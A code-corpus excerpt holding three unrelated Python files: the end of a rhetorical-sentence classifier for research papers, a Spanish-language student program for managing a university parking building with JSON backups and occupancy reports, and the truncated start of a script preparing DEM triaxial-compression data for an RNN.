self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            con_found = self._sentence_contains_root_or_aliases(sentence, [\"conclude\"])\n            con_likely_found = self._sentence_contains_root_or_aliases(\n                sentence, [\"suggest\", \"thus\", \"likely\", \"because\"]\n            )\n\n            if not con_found and not con_likely_found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(\n                sentence, \"conclusion\"\n            )\n            if con_found:\n                prob = 1\n            elif con_likely_found:\n                prob = 0.5\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Conclusion\",\n                bboxes=bboxes,\n                section=section,\n                prob=prob,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_future_work(self):\n        print(\"=== Future Work ===\")\n        detected = []\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            found = self._sentence_contains_root_or_aliases(\n                sentence, [\"will\", \"need\", \"future\"]\n            )\n\n            if not found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(\n                sentence, \"future work\"\n            )\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Future Work\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_method(self):\n        print(\"=== Method ===\")\n        detected = []\n        seen_blocks = set()\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            if not is_author_statement:\n                continue\n\n            block_idx = sent_bbox_obj.block_idx\n            if block_idx in seen_blocks:\n                continue\n\n            seen_blocks.add(sent_bbox_obj.block_idx)\n            section = self.paper.get_section_for_sentence(sentence)\n            is_in_expected_section = self._is_in_expected_section(\n                sentence, \"method\"\n            )\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Method\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def make_ssc_rhetoric_unit(self, sentence: str, label: str, prob: float = None):\n        is_author_statement = (\n            len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n        )\n        ssc_rhetoric_unit_label_map = {\n            \"Method\": \"method\",\n            \"Objective\": \"objective\",\n            \"Result\": \"result\",\n        }\n        is_in_expected_section = self._is_in_expected_section(\n            sentence, ssc_rhetoric_unit_label_map.get(label, \"\")\n        )\n        return RhetoricUnit(\n            text=sentence,\n            label=label,\n            bboxes=self.paper.sent_bbox_map[sentence],\n            section=self.paper.sent_sect_map[sentence],\n            prob=prob,\n            is_author_statement=is_author_statement,\n            is_in_expected_section=is_in_expected_section,\n        )\n\n    def _token_to_noun_chunk(self, doc):\n        noun_chunks = [nc for nc in doc.noun_chunks]\n        token_chunks = {}\n        for tok in doc:\n            for nc in noun_chunks:\n                if tok.i >= nc.start and tok.i < nc.end:\n                    token_chunks[tok] = nc\n                    break\n        return token_chunks\n\n    def _get_noun_chunk_after(self, noun_chunks, i):\n        for nc in noun_chunks:\n            if i >= nc.start and i < nc.end:\n                return nc\n\n    def get_author_statements(self):\n        author_statements = []\n        for sentence in self.paper.sentences:\n            if self._sentence_contains_root_or_aliases(sentence.text, \"we\"):\n                author_statements.append(sentence)\n        return author_statements\n\n    def get_short_author_statements(self):\n        short_statements = []\n        author_statements = self.get_author_statements()\n        for sent in author_statements:\n            doc = nlp(sent.text.lower())\n            clause_tokens = []\n            pron_found = False\n            verb_found = False\n            noun_chunk_found = False\n            clause_completed = False\n            sconj_found = False\n            for token in doc:\n                if token.lemma_ == \"-PRON-\" or token.pos == PRON:\n                    pron_found = True\n                    clause_completed = False\n                if pron_found and not clause_completed:\n                    if token.pos == VERB:\n                        clause_tokens.append(token.text)\n                        verb_found = True\n                    elif token.lemma_ == \"that\":\n                        clause_tokens.append(token.text)\n                        sconj_found = True\n                    elif verb_found:\n                        if not noun_chunk_found:\n                            clause_tokens.append(token.text)\n                            if self._get_noun_chunk_after(doc.noun_chunks, token.i):\n                                noun_chunk_found = True\n                        else:\n                            if not self._get_noun_chunk_after(doc.noun_chunks, token.i):\n                                if sconj_found:\n                                    clause_tokens.append(token.text)\n                                    noun_chunk_found = False\n                                    sconj_found = False\n                                else:\n                                    short_statement = \" \".join(clause_tokens)\n                                    short_statements.append((short_statement, sent))\n                                    break\n                            else:\n                                clause_tokens.append(token.text)\n                    else:\n                        clause_tokens.append(token.text)\n        return short_statements\n\n\nif __name__ == \"__main__\":\n    # Run on s2orc_acl_20200705v1 data\n    ssc_output_file = \"data/ssc-input/s2orc_acl_2016\"\n    DATA_DIR = \"data/s2orc_acl_20200705v1\"\n    by_year = defaultdict(list)\n    for file_e in os.scandir(DATA_DIR):\n        if not os.path.isfile(file_e.path):\n            continue\n        with open(file_e.path, \"r\") as f:\n            paper = json.load(f)\n            metadata = paper[\"metadata\"]\n        if \"year\" not in metadata:\n            continue\n        if \"arxiv_id\" not in metadata:\n            continue\n        year = metadata[\"year\"]\n        arxiv_id = metadata[\"arxiv_id\"]\n        if year and arxiv_id:\n            by_year[year].append((file_e.path, arxiv_id))\n    for paper in by_year[2016]:\n        paper_path, arxiv_id = paper\n        print(paper_path)\n        detected = []\n        azc = AZClassifier(paper_path, \"s2orc\")\n        detected += azc.detect_contribution()\n        detected += azc.detect_novelty()\n        detected += azc.detect_objective()\n        detected += azc.detect_conclusion()\n        detected += azc.detect_future_work()\n","repo_name":"rayfok/scim-nlp","sub_path":"src/detect_rhetorical_classes.py","file_name":"detect_rhetorical_classes.py","file_ext":"py","file_size_in_byte":20490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"10314468752","text":"import json                                                 #Aqui cargo los archivos json, no hay mucho misterio,\r\ncargar=str(input('¿Desea cargar los archivos anteriores?\\n'))\r\nif cargar.lower()=='si':\r\n    v=open(\"BACKUPEDIFICIO.json\",\"r\")                        #por medio del load confierto el archivo json en diccionario            \r\n    q=open(\"BACKUPUSURIOS.json\",\"r\")\r\n    EDIFICIO=json.load(v)\r\n    USUARIOS=json.load(q)\r\n\r\nelse:\r\n    v=open(\"tiposParqueaderos.json\",\"r\")\r\n    q=open(\"usuarios.json\",\"r\")\r\n    EDIFICIO=json.load(v)\r\n    USUARIOS=json.load(q)\r\n\r\n\r\n\r\ndef tranformiceusuarios (USUARIOS):                                              #Aqui transformo las palabras automovil, a.electrico, motocicleta y discapacitados                    \r\n    for x in range(len(USUARIOS['usuarios'])):                                   #En los numeros correspondientes (En el diccionario usuarios)       \r\n        if USUARIOS['usuarios'][x][4]=='Automóvil':\r\n            USUARIOS['usuarios'][x][4]=1\r\n        elif USUARIOS['usuarios'][x][4]=='Automóvil Eléctrico':\r\n            USUARIOS['usuarios'][x][4]=2\r\n        elif USUARIOS['usuarios'][x][4]=='Motocicleta':\r\n            USUARIOS['usuarios'][x][4]=3\r\n        elif USUARIOS['usuarios'][x][4]=='Discapacitado':\r\n            USUARIOS['usuarios'][x][4]=4\r\n    return USUARIOS\r\n\r\ndef transformicepisos(EDIFICIO):\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):                                                                                       #Aqui transformo las palabras automovil, a.electrico, motocicleta y discapacitados\r\n            for c in range(10):                                                                                                 #En los numeros correspondientes (En el diccionario del edificio)  \r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:             #Recorro todo el diccionario con ciclos for                       \r\n                    for z in range(6):                                                                                          #Tuve que tomar los caracteres diferentes por las tildes    \r\n                        if 'Automóvil'==EDIFICIO[a][b][c][4]:\r\n                            EDIFICIO[a][b][c][4]=1\r\n                        elif 'Automóvil Eléctrico'==EDIFICIO[a][b][c][4]:\r\n                            EDIFICIO[a][b][c][4]=2\r\n                        elif 'Motocicleta'==EDIFICIO[a][b][c][4]:\r\n                             EDIFICIO[a][b][c][4]=3\r\n                        elif 'Discapacitado'==EDIFICIO[a][b][c][4]:\r\n                             EDIFICIO[a][b][c][4]=4\r\n                \r\n    return EDIFICIO\r\n\r\n\r\n\r\n\r\ndef validacionregistro(USUARIOS):\r\n    numeroidentificacion=eval(input('Ingrese su numero de identificacion: '))                       #Aqui valido si el coche ya esta registrado o no, \r\n    n=0                                                                                             #primero pido el numero de identificacion para no hacerlo tedioso                       \r\n    for x in range(len(USUARIOS['usuarios'])):\r\n        if USUARIOS['usuarios'][x][1]==numeroidentificacion:\r\n            n=n+1\r\n    if n==0:\r\n        nombre=str(input('Ingrese sus nombres y apellidos: ')) \r\n        tipodeusuario=str(input('Ingrese su tipo de usuario: '))\r\n        placa=str(input('Ingrese la placa de su vehiculo: '))\r\n        tipovehiculo=eval(input('Ingrese su tipo de vehiculo:\\n 1.Automóvil\\n 2.Automóvil Eléctrico\\n 3.Motocicleta\\n 4.Discapacitado\\n(Ingrese el numero del tipo de auto que tenga)\\n'))\r\n        plandepago=str(input('Ingrese su plan de pago:\\n 1.Mensualidad\\n 2.Diario\\n(INGRESE LA PALABRA COMPLETA POR FAVOR)\\n'))\r\n        lista=[nombre,numeroidentificacion,tipodeusuario,placa,tipovehiculo,plandepago]\r\n        USUARIOS['usuarios'].append(lista)\r\n        return USUARIOS\r\n    else:\r\n        print('Usted ya registro un vehiculo')\r\n        validacionregistro(USUARIOS)\r\n\r\n\r\n\r\n\r\n\r\ndef ingreso(USUARIOS):\r\n    n=0\r\n    placaingreso=str(input('Ingrese la placa de su vehiculo: '))                                                        #Primero, aunque no me lo hayan pedido en el trabajo, valido si el coche ya ha sido parqueado\r\n    for a in EDIFICIO.keys():                                                                                           #si no es el caso luego verifico si la placa esta registrada                        \r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:\r\n                    for z in range(6):\r\n                        if placaingreso==EDIFICIO[a][b][c][3]:\r\n                            print('Ese automovil ya se encuentra aqui.')\r\n                            return ingreso(USUARIOS)\r\n    for x in range(len(USUARIOS['usuarios'])):\r\n        if placaingreso==USUARIOS['usuarios'][x][3]:\r\n            n=n+1\r\n    if n==0:\r\n        print('Su vehiculo no esta registrado...')\r\n        tipovehiculo=eval(input('Ingrese su tipo de vehiculo:\\n 1.Automóvil\\n 2.Automóvil Eléctrico\\n 3.Motocicleta\\n 4.Discapacitado\\n(Ingrese el numero del tipo de auto que tenga)\\n'))\r\n        lista=['???','???','Visitante',placaingreso,tipovehiculo,'Diario']\r\n        USUARIOS['usuarios'].append(lista)\r\n    return USUARIOS,placaingreso\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef ingreso2(EDIFICIO,placaingreso,USUARIOS):                                   #Aqui utilizo 6 contadores para numerar el numero de puestos disponibles.\r\n    for y in range(len(USUARIOS['usuarios'])):                                  #Sumo los contadores recorriendo el diccionario con varios for anidados        \r\n        if placaingreso==USUARIOS['usuarios'][y][3]:\r\n            minilista=USUARIOS['usuarios'][y]\r\n    disponibles1=0\r\n    disponibles2=0\r\n    disponibles3=0\r\n    disponibles4=0\r\n    disponibles5=0\r\n    disponibles6=0\r\n    if minilista[4]==1:\r\n        for a in EDIFICIO.keys():\r\n            for g in range(len(EDIFICIO[a])):\r\n                for h in range(10):\r\n                    if EDIFICIO[a][g][h]==minilista[4]:\r\n                        if a=='Piso1':\r\n                            disponibles1+=1\r\n                        elif a=='Piso2':\r\n                            disponibles2+=1\r\n                        elif a=='Piso3':\r\n                            disponibles3+=1\r\n                        elif a=='Piso4':\r\n                            disponibles4+=1\r\n                        elif a=='Piso5':\r\n                            disponibles5+=1\r\n                        elif a=='Piso6':\r\n                            disponibles6+=1\r\n    if minilista[4]==2:\r\n        for a in EDIFICIO.keys():\r\n            for g in range(len(EDIFICIO[a])):\r\n                for h in range(10):\r\n                    if EDIFICIO[a][g][h]==minilista[4] or EDIFICIO[a][g][h]==1:\r\n                        if a=='Piso1':\r\n                            disponibles1+=1\r\n                        elif a=='Piso2':\r\n                            disponibles2+=1\r\n                        elif a=='Piso3':\r\n                            disponibles3+=1\r\n                        elif a=='Piso4':\r\n                            disponibles4+=1\r\n                        elif a=='Piso5':\r\n                            disponibles5+=1\r\n                        elif a=='Piso6':\r\n                            disponibles6+=1\r\n    if minilista[4]==3:\r\n        for a in EDIFICIO.keys():\r\n            for g in range(len(EDIFICIO[a])):\r\n                for h in range(10):\r\n                    if EDIFICIO[a][g][h]==minilista[4]:\r\n                        if a=='Piso1':\r\n                            disponibles1+=1\r\n                        elif a=='Piso2':\r\n                            disponibles2+=1\r\n                        elif a=='Piso3':\r\n                            disponibles3+=1\r\n                        elif a=='Piso4':\r\n                            disponibles4+=1\r\n                        elif a=='Piso5':\r\n                            disponibles5+=1\r\n                        elif a=='Piso6':\r\n                            disponibles6+=1\r\n    if minilista[4]==4:\r\n        for a in EDIFICIO.keys():\r\n            for g in range(len(EDIFICIO[a])):\r\n                for h in range(10):\r\n                    if EDIFICIO[a][g][h]==minilista[4] or EDIFICIO[a][g][h]==1:\r\n                        if a=='Piso1':\r\n                            disponibles1+=1\r\n                        elif a=='Piso2':\r\n                            disponibles2+=1\r\n                        elif a=='Piso3':\r\n                            disponibles3+=1\r\n                        elif a=='Piso4':\r\n                            disponibles4+=1\r\n                        elif a=='Piso5':\r\n                            disponibles5+=1\r\n                        elif a=='Piso6':\r\n                            disponibles6+=1\r\n          \r\n    return EDIFICIO,disponibles1,disponibles2,disponibles3,disponibles4,disponibles5,disponibles6,minilista \r\n\r\n\r\n\r\ndef representacion(EDIFICIO,minilista):\r\n    pisoelegido=eval(input('Ingrese el piso en el que desea dejar su auto: \\n(Solo ingrese el numero del piso que desea)\\n '))\r\n    if pisoelegido==1:\r\n        pisoelegido='Piso1'\r\n    elif pisoelegido==2:\r\n        pisoelegido='Piso2'\r\n    elif pisoelegido==3:\r\n        pisoelegido='Piso3'\r\n    elif pisoelegido==4:\r\n        pisoelegido='Piso4'\r\n    elif pisoelegido==5:                                                      #Una vez el usuario elige su piso deseado creo un for que toma como rango el piso elegido,                                                                              \r\n        pisoelegido='Piso5'                                                   #Para la representacion utilizo varios for con una lista a la cual se van añadiendo 'X' o 'O' Dependiendo de si esta libre o no el puesto                                                                                          \r\n    elif pisoelegido==6:                                                      #Logro todo esto con condicionales y recorriendo el diccionario                                                                                  \r\n        pisoelegido='Piso6'                                                                                                                                                                     \r\n    else:                                                                                                                                                                                   \r\n        print('Ese numero no esta en el menu')                                                                                                                                  \r\n    print('','','','',1,'','','',2,'','','',3,'','','',4,'','','',5,'','','',6,'','','',7,'','','',8,'','','',9,'','','',10)\r\n    for x in range(len(EDIFICIO[pisoelegido])):\r\n        lista=[]\r\n        if minilista[4]==4 or minilista[4]==2:\r\n            for y in range(10):\r\n                if minilista[4]==EDIFICIO[pisoelegido][x][y] or 1==EDIFICIO[pisoelegido][x][y]:     \r\n                    lista.append('O')\r\n                else:\r\n                    lista.append('X')\r\n            print(x+1,lista)\r\n        else:\r\n            for y in range(10):\r\n                if minilista[4]==EDIFICIO[pisoelegido][x][y]:     \r\n                    lista.append('O')\r\n                else:\r\n                    lista.append('X')\r\n            print(x+1,lista)            \r\n    return pisoelegido\r\n\r\ndef ocupa(EDIFICIO,minilista,pisoelegido):                                                                             #Ahora le pido al usuario que eliga una fila y una columna                              \r\n    fila=eval(input('Ingrese la fila del lugar que desea: '))                                                          #Con ello puedo acceder facilmente al lugar donde el usuario desea ubicar su coche                                 \r\n    columna=eval(input('Ingrese la columna del lugar que desea: '))                                                    #Pongo el -1 porque para acceder al diccionario se empieza desde 0. Pero para mayor comodidad para el usario le pido la fila y la columna desde 1                                            \r\n    if minilista[4]==2 or minilista[4]==4:                                                                                                                  \r\n        if minilista[4]==EDIFICIO[pisoelegido][fila-1][columna-1] or EDIFICIO[pisoelegido][fila-1][columna-1]==1:                                                   \r\n            EDIFICIO[pisoelegido][fila-1][columna-1]=minilista #Aqui remplazo el puesto\r\n            return EDIFICIO,fila,columna\r\n        else:\r\n            print('Ese sitio esta ocupado')\r\n            return ocupa(EDIFICIO,minilista,pisoelegido)\r\n    else:\r\n        if minilista[4]==EDIFICIO[pisoelegido][fila-1][columna-1]:\r\n            EDIFICIO[pisoelegido][fila-1][columna-1]=minilista\r\n            return EDIFICIO,fila,columna\r\n        else:\r\n            print('Ese sitio esta ocupado')\r\n            return ocupa(EDIFICIO,minilista,pisoelegido)\r\n\r\n        \r\n\r\ndef validacionretiro(EDIFICIO):\r\n    placaretiro=str(input('Ingrese la placa de su vehiculo: '))\r\n    horas=eval(input('Ingrese su numero de horas que ha permanecido el vehiculo: '))\r\n    n=0\r\n\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:         #Me sucedio un error y es que no puedo\r\n                    for z in range(6):                                                                                      #Transformar una lista a int, no tengo idea porque                        \r\n                        if placaretiro==EDIFICIO[a][b][c][z]:                                                               #Mi solucion fue convertir la lista a str                                    \r\n                            lista=EDIFICIO[a][b][c]                                                                                                                     \r\n                            n+=1                                                                                                    \r\n                            if lista[4]==1:                                                                                                                         \r\n                                  EDIFICIO[a][b][c]='Automóvil'                                                                                                                \r\n                            elif lista[4]==2:                                                                   \r\n                                EDIFICIO[a][b][c]='Automóvil Eléctrico'                                                   \r\n                            elif lista[4]==3:                                                                           \r\n                                EDIFICIO[a][b][c]='Motocicleta'\r\n                            elif lista[4]==4:\r\n                                EDIFICIO[a][b][c]='Discapacitado'\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):                                       #Y aca transformo ese srt al numero correspondiente al tipo de auto         \r\n            for c in range(10):                                                 #Todo esto con el fin de que cuando retiren el coche, el puesto que este ocupaba vuelva a ser del tipo que era (Automovil, discapacitados...)                                                                                                \r\n                if EDIFICIO[a][b][c]=='Automóvil':                                                                                                                                                                     \r\n                     EDIFICIO[a][b][c]=1                                                                                                \r\n                elif EDIFICIO[a][b][c]=='Automóvil Eléctrico':                                                                                        \r\n                     EDIFICIO[a][b][c]=1\r\n                elif EDIFICIO[a][b][c]=='Motocicleta':\r\n                     EDIFICIO[a][b][c]=3\r\n                elif EDIFICIO[a][b][c]=='Discapacitado':\r\n                     EDIFICIO[a][b][c]=1\r\n                        \r\n                            \r\n    if n==0:\r\n        print('Ese vehiculo no esta aqui')\r\n    else:\r\n        if lista[5].lower()=='mensualidad':\r\n            print('No debe realizar un pago')                                                       #Aca miro que tipo de pago tiene y hago las operaciones correspondientes\r\n        else:\r\n            if lista[2].lower()=='estudiante':\r\n                print('El valor a pagar es',horas*1000)\r\n            elif lista[2].lower()=='profesor':\r\n                print('El valor a pagar es',horas*2000)\r\n            elif lista[2].lower()=='personal administrativo':\r\n                print('El valor a pagar es',horas*1500)\r\n            elif lista[2].lower()=='visitante':\r\n                print('El valor a pagar es',horas*3000)\r\n\r\n\r\n\r\ndef representacion2(fila,columna,minilista,EDIFICIO,pisoelegido):\r\n        for x in range(len(EDIFICIO[pisoelegido])):\r\n            lista=[]                                                                                        #Es un copy paste de la reprensentacion 1 solo que esta es la reprensentacion con los puestos ocupados ya con la informacion de los coches\r\n            if minilista[4]==4 or minilista[4]==2:\r\n                for y in range(10):\r\n                    if  EDIFICIO[pisoelegido][fila-1][columna-1]==EDIFICIO[pisoelegido][x][y]:      #Este es el añadido\r\n                        lista.append(minilista)\r\n                    elif minilista[4]==EDIFICIO[pisoelegido][x][y] or 1==EDIFICIO[pisoelegido][x][y]:     \r\n                        lista.append('O')\r\n                    else:\r\n                        lista.append('X')\r\n                print(x+1,lista)\r\n            else:\r\n                for y in range(10):\r\n                    if  EDIFICIO[pisoelegido][fila-1][columna-1]==EDIFICIO[pisoelegido][x][y]:\r\n                        lista.append(minilista)\r\n                    elif minilista[4]==EDIFICIO[pisoelegido][x][y]:     \r\n                        lista.append('O')\r\n                    else:\r\n                        lista.append('X')\r\n                print(x+1,lista)   \r\n\r\n\r\n\r\ndef txt1(EDIFICIO):\r\n    numest=0\r\n    numprof=0\r\n    numadm=0\r\n    numvis=0\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:\r\n                        if EDIFICIO[a][b][c][2].lower() =='estudiante':\r\n                            numest+=1\r\n                        elif EDIFICIO[a][b][c][2].lower() =='profesor':\r\n                            numprof+=1\r\n                        elif EDIFICIO[a][b][c][2].lower() =='personal administrativo':\r\n                            numadm+=1\r\n                        elif EDIFICIO[a][b][c][2].lower() =='visitante':\r\n                            numvis+=1\r\n    return numest,numprof,numadm,numvis\r\n\r\ndef txt2(EDIFICIO):\r\n    numaut=0\r\n    numele=0\r\n    nummoto=0\r\n    numdis=0\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:\r\n                        if EDIFICIO[a][b][c][4]==1:\r\n                            numaut+=1\r\n                        elif EDIFICIO[a][b][c][4]==2:\r\n                            numele+=1\r\n                        elif EDIFICIO[a][b][c][4]==3:\r\n                            nummoto+=1\r\n                        elif EDIFICIO[a][b][c][4]==4:\r\n                            numdis+=1\r\n    return numaut,numele,nummoto,numdis\r\n\r\ndef txt3(EDIFICIO):\r\n    contpor=0\r\n    contpiso1=0\r\n    contpiso2=0\r\n    contpiso3=0\r\n    contpiso4=0\r\n    contpiso5=0\r\n    contpiso6=0\r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:\r\n                    contpor+=1\r\n                    \r\n    for a in EDIFICIO.keys():\r\n        for b in range(len(EDIFICIO[a])):\r\n            for c in range(10):\r\n                if EDIFICIO[a][b][c]!=1 and EDIFICIO[a][b][c]!=2 and EDIFICIO[a][b][c]!=3 and EDIFICIO[a][b][c]!=4:\r\n                    if a=='Piso1':\r\n                         contpiso1+=1\r\n                    elif a=='Piso2':\r\n                         contpiso2+=1\r\n                    elif a=='Piso3':\r\n                         contpiso3+=1\r\n                    elif a=='Piso4':\r\n                         contpiso4+=1\r\n                    elif a=='Piso5':\r\n                         contpiso5+=1\r\n                    elif a=='Piso6':\r\n                         contpiso6+=1\r\n                         \r\n    return contpor,contpiso1,contpiso2,contpiso3,contpiso4,contpiso5,contpiso6\r\n    \r\n                            \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAPAGADO=''\r\nwhile APAGADO!=-1:                                                                          #El programa con un while para cuando se desee parar, lo unico que hice aqui es organizar las funciones para que el programa empeice a correr\r\n    EDIFICIO=transformicepisos(EDIFICIO)\r\n    USUARIOS=tranformiceusuarios (USUARIOS)\r\n    accion=eval(input('Ingrese la accion que quiera realizar:\\n 1.Registrar auto\\n 2.Ingresar un auto\\n 3.Retirar un auto\\n '))\r\n    if accion==1:\r\n        USUARIOS=validacionregistro(USUARIOS)\r\n        print(USUARIOS)\r\n\r\n\r\n\r\n        \r\n    elif accion==2:\r\n        USUARIOS,placaingreso=ingreso(USUARIOS)\r\n        EDIFICIO,disponibles1,disponibles2,disponibles3,disponibles4,disponibles5,disponibles6,minilista=ingreso2(EDIFICIO,placaingreso,USUARIOS)\r\n        print('El numero de puestos disponibles en el piso 1 es:', disponibles1)\r\n        print('El numero de puestos disponibles en el piso 2 es:', disponibles2)\r\n        print('El numero de puestos disponibles en el piso 3 es:', disponibles3)\r\n        print('El numero de puestos disponibles en el piso 4 es:', disponibles4)\r\n        print('El numero de puestos disponibles en el piso 5 es:', disponibles5)\r\n        print('El numero de puestos disponibles en el piso 6 es:', disponibles6)\r\n        pisoelegido=representacion(EDIFICIO,minilista)\r\n        print('\\n')\r\n        EDIFICIO,fila,columna=ocupa(EDIFICIO,minilista,pisoelegido)\r\n        print('\\n')\r\n        representacion2(fila,columna,minilista,EDIFICIO,pisoelegido)\r\n\r\n\r\n\r\n    elif accion==3:\r\n        validacionretiro(EDIFICIO)\r\n\r\n\r\n        \r\n    else:\r\n        print('Esa accion no existe')\r\n        \r\n    Cargaredificio=EDIFICIO\r\n    Cargarusuarios=USUARIOS\r\n    with open ('BACKUPEDIFICIO.json','w') as file:\r\n        json.dump(Cargaredificio,file)\r\n    with open ('BACKUPUSURIOS.json','w') as file:\r\n        json.dump(Cargarusuarios,file)\r\n\r\n\r\n    numest,numprof,numadm,numvis=txt1(EDIFICIO)\r\n    REPORTE1=open(\"Cantidad de vehículos estacionados según el tipo de usuario.txt\",\"w\")\r\n    REPORTE1.write('Numero de vehiculos estacionados de estudiantes:'+str(numest)+'\\n')\r\n    REPORTE1.write('Numero de vehiculos estacionados de profesores:'+str(numprof)+'\\n')\r\n    REPORTE1.write('Numero de vehiculos estacionados de administrativos:'+str(numadm)+'\\n')\r\n    REPORTE1.write('Numero de vehiculos estacionados de visitantes:'+str(numvis)+'\\n')\r\n    REPORTE1.close()\r\n\r\n    numaut,numele,nummoto,numdis=txt2(EDIFICIO)\r\n    REPORTE2=open(\"Cantidad de vehículos estacionados según el tipo de vehículo.txt\",\"w\")\r\n    REPORTE2.write('Numero de automóviles:'+str(numaut)+'\\n')\r\n    REPORTE2.write('Numero de automóvil eléctricos:'+str(numele)+'\\n')\r\n    REPORTE2.write('Numero de motocicletas:'+str(nummoto)+'\\n')\r\n    REPORTE2.write('Numero de discapacitados:'+str(numdis)+'\\n')\r\n    REPORTE2.close()\r\n\r\n    contpor,contpiso1,contpiso2,contpiso3,contpiso4,contpiso5,contpiso6=txt3(EDIFICIO)\r\n    porto=(contpor*100)/550\r\n    por1=(contpiso1*100)/100\r\n    por2=(contpiso2*100)/100\r\n    por3=(contpiso3*100)/100\r\n    por4=(contpiso4*100)/100\r\n    por5=(contpiso5*100)/100\r\n    por6=(contpiso6*100)/50\r\n    REPORTE3=open(\"Porcentajes.txt\",\"w\")\r\n    REPORTE3.write('Porcentaje ocupación global:'+str(porto)+'\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 1:'+str(por1)+'%\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 2:'+str(por2)+'%\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 3:'+str(por3)+'%\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 4:'+str(por4)+'%\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 5:'+str(por5)+'%\\n')\r\n    REPORTE3.write('Porcentaje ocupación piso 6:'+str(por6)+'%\\n')\r\n    REPORTE3.close()\r\n\r\n\r\n\r\n    \r\n    APAGADO=int(input('Para apagar el programa ingrese -1, si desea continuar ingrese cualquier tecla diferente a -1. '))\r\n\r\n\r\n","repo_name":"Deidei-x/CodeDeployGitHubDemo.","sub_path":"Proyecto UWU.py","file_name":"Proyecto UWU.py","file_ext":"py","file_size_in_byte":25330,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"232526295","text":"\"\"\"\nScript to preprocess DEM data so that it can be used as input in an RNN.\nIn YADE data is stored to .npy files every interval of time steps.\n\nData consists of:\n\n* contact_params (samples, c).\n* input_params (samples, sequence_length, x).\n* output_params (samples, sequence_length, y).\n\nThis example considers DEM simulations of Triaxial compressions\nat different confinments (pressures), in drain and undrained conditions.\n\"\"\"\nimport os\n\nimport h5py\nimport numpy as np\n\nCONTACT_KEYS = [\n    'E',   # young's modulus  = log_10(E) with E in Pa\n    'v',   # poisson's ratio\n    'kr',  # rolling stiffness\n    'eta', # rolling friction\n    'mu'  # sliding friction\n    ]\n\nINPUT_KEYS_UNDRAINED = [\n    'e_x', # strains in 3 directions\n    'e_y',\n    'e_z' # the axial direction\n]\n\nINPUT_KEYS_DRAINED = [\n    'e_z' # the axial direction\n]\n\nOUTPUT_KEYS = [\n    'e',   # void ratio\n    'p',   # mean stress\n    'q',   # deviatoric stress\n    'f0',  # average contact normal force\n    'a_c', # fabric anisotropy\n    'a_n', # mechanical anisotropy\n    'a_t' # mechanical anisotropy due to tangential forces\n]\n\nUNUSED_KEYS_SEQUENCE = [\n    'dt',  # size of timestep taken at this iteration\n    'numIter', # iteration number in the simulation at which equilibrium is\n               # reached at the current loading\n    'K',   # mysterious\n    'A'   # also mysterious\n]\n\nUNUSED_KEYS_CONSTANT = [\n    'conf',# confining pressure (stored as group name) = 